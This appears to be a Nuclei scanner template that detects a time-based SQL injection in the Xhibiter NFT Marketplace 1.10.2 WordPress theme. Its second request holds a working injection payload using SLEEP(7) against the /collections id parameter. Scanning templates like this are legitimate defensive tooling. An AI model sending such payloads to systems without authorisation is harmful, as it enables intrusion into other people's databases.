xhibiter-nft-sqli: Xhibiter NFT Marketplace 1.10.2 - SQL Injection

id: xhibiter-nft-sqli

info:
  name: Xhibiter NFT Marketplace 1.10.2 - SQL Injection
  author: ProjectDiscoveryAI
  severity: high
  description: |
    The Xhibiter NFT Marketplace version 1.10.2 is vulnerable to a SQL Injection vulnerability. This allows an attacker to manipulate SQL queries by injecting malicious SQL code through vulnerable input fields.
  reference:
    - https://www.exploit-db.com/exploits/52060
    - https://blog.securelayer7.net/sql-injection-vulnerability-in-xhibiter-nft-marketplace/
    - https://x.com/ExploitDB/status/1807782485549560196
  classification:
    cwe-id: CWE-89
  metadata:
    publicwww-query: "/wp-content/themes/xhibiter/"
    max-request: 2
  tags: xhibiter,sqli,time-based-sqli,wordpress,wp-theme,xhibiter,nft,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - '/wp-content/themes/xhibiter/'
        internal: true

  - raw:
      - |
        GET /collections?id=2'+AND+(SELECT+1492+FROM+(SELECT(SLEEP(7)))HsLV)+AND+'KEOa'='KEOa HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'duration>=7'
        condition: and
# digest: 4b0a00483046022100fdcf82c369760b0a2fb0f99c52cb2e9cf4753727873ba7679ebf5a4d62d8c33e0221009abee761457923afd81780876c836840f0458d05f796e0ea867002f77e8f2b4a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.